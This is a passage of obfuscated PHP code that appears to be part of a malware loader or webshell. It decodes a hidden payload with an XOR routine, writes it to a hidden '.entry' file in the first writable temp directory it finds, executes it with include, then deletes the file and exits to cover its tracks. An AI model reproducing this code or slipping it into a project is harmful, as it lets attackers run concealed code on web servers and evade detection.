= $len) break; $v1 = $fac[$s]; $chS = ord($s[$s % $lenS]); $dec = ((int)$v1 - $chS - ($s % 10)) ^ 80; $pset .= chr($dec); $s++; } while (true); $tkn = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP")]); while ($factor = array_shift($tkn)) { if ((function($d) { return is_dir($d) && is_writable($d); })($factor)) { $data = join("/", [$factor, ".entry"]); $file = fopen($data, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $data; @unlink($data); exit; } } } }